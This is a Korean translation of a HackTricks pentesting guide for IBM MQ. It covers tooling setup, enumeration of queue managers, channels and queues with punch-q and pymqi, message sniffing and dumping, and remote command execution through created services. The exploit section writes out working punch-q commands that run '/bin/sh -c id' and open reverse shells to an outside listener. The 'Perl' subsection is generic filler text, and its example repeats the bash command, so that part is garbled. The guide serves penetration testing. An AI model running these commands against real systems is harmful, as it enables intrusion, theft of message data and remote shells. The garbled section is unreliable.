hacktricks/network-services-pentesting/1414-pentesting-ibmmq.md
2024-02-10 21:30:13 +00:00

350 lines
21 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 1414 - IBM MQ 펜테스팅
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
</details>
## 기본 정보
IBM MQ는 메시지 큐를 관리하기 위한 IBM 기술입니다. 다른 **메시지 브로커** 기술과 마찬가지로, 생산자와 소비자 간의 정보를 수신, 저장, 처리 및 분류하는 데 사용됩니다.
기본적으로 **IBM MQ TCP 포트 1414**를 노출합니다.
때로는 HTTP REST API가 포트 **9443**에서 노출될 수도 있습니다.
메트릭 (Prometheus)은 TCP 포트 **9157**에서 액세스할 수도 있습니다.
IBM MQ TCP 포트 1414는 메시지, 큐, 채널 등을 조작하는 데 사용될 수 있지만 **인스턴스를 제어하는 데에도 사용될 수 있습니다**.
IBM은 [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)에서 사용 가능한 다양한 기술 문서를 제공합니다.
## 도구
쉬운 공격을 위한 제안된 도구는 Docker를 사용한 **[punch-q](https://github.com/sensepost/punch-q)**입니다. 이 도구는 Python 라이브러리 `pymqi`를 활용하고 있습니다.
더 수동적인 접근을 위해서는 Python 라이브러리 **[pymqi](https://github.com/dsuch/pymqi)**를 사용하세요. [IBM MQ 종속성](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)이 필요합니다.
### pymqi 설치하기
**IBM MQ 종속성**을 설치하고 로드해야 합니다:
1. [https://login.ibm.com/](https://login.ibm.com/)에서 계정 (IBMid)을 생성하세요.
2. [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)에서 IBM MQ 라이브러리를 다운로드하세요. Linux x86_64의 경우 **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**입니다.
3. 압축을 해제하세요 (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. 라이선스 약관을 수락하기 위해 `sudo ./mqlicense.sh`를 실행하세요.
>Kali Linux를 사용하는 경우, `mqlicense.sh` 파일을 수정하세요. 다음 라인들을 제거하거나 주석 처리하세요 (105-110번째 줄 사이):
>
>```bash
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: This package is incompatible with this system"
> echo " This package was built for ${BUILD_PLATFORM}"
> exit 1
>fi
>```
5. 다음 패키지들을 설치하세요:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. 그런 다음 LD에 `.so` 파일을 일시적으로 추가하십시오: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, 이후에 이러한 종속성을 사용하는 다른 도구를 실행하기 전에.
그런 다음, [**pymqi**](https://github.com/dsuch/pymqi) 프로젝트를 복제하십시오. 흥미로운 코드 스니펫, 상수 등이 포함되어 있습니다. 또는 `pip install pymqi`를 사용하여 라이브러리를 직접 설치할 수도 있습니다.
### punch-q 사용
#### Docker를 사용하는 경우
간단히 `sudo docker run --rm -ti leonjza/punch-q`를 사용하십시오.
#### Docker를 사용하지 않는 경우
[**punch-q**](https://github.com/sensepost/punch-q) 프로젝트를 복제한 다음 설치에 대한 readme를 따르십시오 (`pip install -r requirements.txt && python3 setup.py install`).
그 후에 `punch-q` 명령어로 사용할 수 있습니다.
## 열거
**punch-q** 또는 **pymqi**를 사용하여 **큐 매니저 이름, 사용자, 채널 및 큐**를 열거해 볼 수 있습니다.
### 큐 매니저
때로는 큐 매니저 이름을 얻는 데 대한 보호가 없을 수 있습니다:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### 채널
**punch-q**는 기존 채널을 찾기 위해 내부(수정 가능) 워드리스트를 사용합니다. 사용 예시:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
일부 IBM MQ 인스턴스는 **인증되지 않은** MQ 요청을 허용하는 경우가 있으므로 `--username / --password`는 필요하지 않습니다. 물론 액세스 권한도 다를 수 있습니다.
한 번 채널 이름 (여기서는 `DEV.ADMIN.SVRCONN`)을 얻으면 다른 모든 채널을 열거할 수 있습니다.
열거는 기본적으로 **pymqi**의 `code/examples/dis_channels.py` 코드 스니펫을 사용하여 수행할 수 있습니다.
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
...하지만 **punch-q**도 그 부분을 포함하고 있습니다(더 많은 정보와 함께!). 다음과 같이 실행할 수 있습니다:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
### 큐
**pymqi** (`dis_queues.py`)와 함께 사용할 수 있는 코드 스니펫이 있지만 **punch-q**를 사용하면 큐에 대한 더 많은 정보를 가져올 수 있습니다:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## Exploit
### 메시지 덤프
큐/채널을 대상으로하여 메시지를 가로채거나 덤프할 수 있습니다 (파괴적인 작업은 아닙니다). *예시:*
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**모든 식별된 큐에 대해 주저하지 말고 반복하세요.**
### 코드 실행
> 계속하기 전에 몇 가지 세부 정보: IBM MQ는 MQSC, PCF, 제어 명령을 통해 제어될 수 있습니다. 일반적인 목록은 [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)에서 찾을 수 있습니다.
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***)는 원격으로 인스턴스와 상호 작용하기 위해 주로 사용됩니다. **punch-q**와 **pymqi**는 PCF 상호 작용을 기반으로 합니다.
>
> PCF 명령의 목록을 찾을 수 있습니다:
> * [PCF 문서에서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), 그리고
> * [상수에서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> 흥미로운 명령 중 하나는 `MQCMD_CREATE_SERVICE`이며, 해당 문서는 [여기](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)에서 확인할 수 있습니다. 이 명령은 인스턴스의 로컬 프로그램을 가리키는 `StartCommand`를 인수로 사용합니다 (예: `/bin/sh`).
>
> 문서에서 이 명령에 대한 경고도 있습니다: *"주의: 이 명령은 사용자가 mqm 권한으로 임의의 명령을 실행할 수 있게 합니다. 이 명령을 사용할 권한이 부여된 경우, 악의적이거나 부주의한 사용자가 시스템이나 데이터를 손상시킬 수 있는 서비스를 정의할 수 있습니다. 예를 들어 필수 파일을 삭제하는 등의 작업을 수행할 수 있습니다."*
>
> *참고: IBM MQ 문서 (관리 참조)에 따르면, 서비스 생성 (`DEFINE SERVICE`)를 위한 동등한 MQSC 명령을 실행하는 HTTP 엔드포인트인 `/admin/action/qmgr/{qmgrName}/mqsc`도 있습니다. 이 측면은 아직 다루지 않았습니다.*
원격 프로그램 실행을 위한 PCF를 사용한 서비스 생성/삭제는 **punch-q**를 통해 수행할 수 있습니다:
**예제 1**
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> IBM MQ의 로그에서 명령이 성공적으로 실행되었음을 확인할 수 있습니다:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: 명령 '808544aa7fc94c48'이 시작되었습니다. 프로세스 ID(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
또한 기기에 있는 기존 프로그램들을 열거할 수도 있습니다 (여기서 `/bin/doesnotexist`는 존재하지 않습니다):
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**프로그램 실행이 비동기적으로 진행되므로, 악용을 위해 두 번째 항목이 필요합니다** ***(리버스 쉘을 위한 리스너, 다른 서비스에서의 파일 생성, 네트워크를 통한 데이터 유출 등)***
**예시 2**
간편한 리버스 쉘을 위해, **punch-q**는 두 가지 리버스 쉘 페이로드를 제공합니다:
* bash를 사용한 페이로드
* perl을 사용한 페이로드
*물론 `execute` 명령어를 사용하여 사용자 정의 페이로드를 만들 수도 있습니다.*
bash를 사용하는 경우:
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
펄(Perl)에 대해:
Perl은 강력한 스크립팅 언어로, 다양한 운영 체제에서 사용할 수 있습니다. 펄은 텍스트 처리, 파일 조작, 네트워크 통신 등 다양한 작업에 사용됩니다. 펄은 간결하고 유연한 문법을 가지고 있으며, 다양한 모듈과 라이브러리를 제공하여 개발자가 원하는 기능을 쉽게 구현할 수 있습니다.
펄을 사용하여 네트워크 서비스 펜테스팅을 수행할 때, 다양한 기능과 모듈을 활용할 수 있습니다. 예를 들어, 펄을 사용하여 소켓 프로그래밍을 수행하거나, 네트워크 프로토콜을 조작하거나, 패킷을 캡처하고 분석할 수 있습니다. 또한, 펄을 사용하여 웹 서비스나 데이터베이스와의 통신을 자동화하거나, 보안 취약점을 검사하는 스크립트를 작성할 수도 있습니다.
펄은 강력한 문자열 처리 기능을 제공하며, 정규 표현식을 사용하여 텍스트를 검색하고 변형할 수 있습니다. 또한, 펄은 파일 조작에 유용한 기능들을 제공하며, 파일의 읽기, 쓰기, 수정 등 다양한 작업을 수행할 수 있습니다.
펄은 다양한 운영 체제에서 사용할 수 있으며, 커뮤니티에서는 다양한 모듈과 라이브러리를 제공하고 있습니다. 이러한 모듈과 라이브러리를 활용하여 펄의 기능을 확장할 수 있으며, 개발자들은 이를 통해 더욱 효율적인 코드를 작성할 수 있습니다.
```bash
sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### 커스텀 PCF
IBM MQ 문서를 참조하여 **pymqi** 파이썬 라이브러리를 직접 사용하여 **punch-q**에서 구현되지 않은 특정 PCF 명령을 테스트할 수 있습니다.
**예시:**
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
```
만약 상수 이름을 찾을 수 없다면, [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)를 참조할 수 있습니다.
> *예시로 [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (10진수 = 73)를 사용합니다. 이는 `MQCA_CLUSTER_NAME` (10진수 = 2029) 매개변수를 필요로 합니다. 이는 `*`일 수 있습니다 (문서: ):*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Error")
> else:
> print(response)
>
> qmgr.disconnect()
> ```
## 테스트 환경
IBM MQ 동작 및 취약점을 테스트하려면 Docker를 기반으로 로컬 환경을 설정할 수 있습니다:
1. ibm.com 및 cloud.ibm.com에 계정을 가지고 있어야 합니다.
2. 다음과 같이 컨테이너화된 IBM MQ를 생성합니다:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
기본적으로 인증이 활성화되어 있으며, 사용자 이름은 `admin`이고 비밀번호는 `passw0rd`입니다 (환경 변수 `MQ_ADMIN_PASSWORD`).
여기에서 큐 매니저 이름은 `MYQUEUEMGR`로 설정되었습니다 (변수 `MQ_QMGR_NAME`).
IBM MQ가 실행 중이고 포트가 노출되어 있어야 합니다:
```bash
sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> IBM MQ 도커 이미지의 이전 버전은 다음 위치에 있습니다: https://hub.docker.com/r/ibmcom/mq/.
## 참고 자료
* [mgeeky의 gist - "실용적인 IBM MQ 펜테스팅 노트"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [IBM MQ 문서](https://www.ibm.com/docs/en/ibm-mq)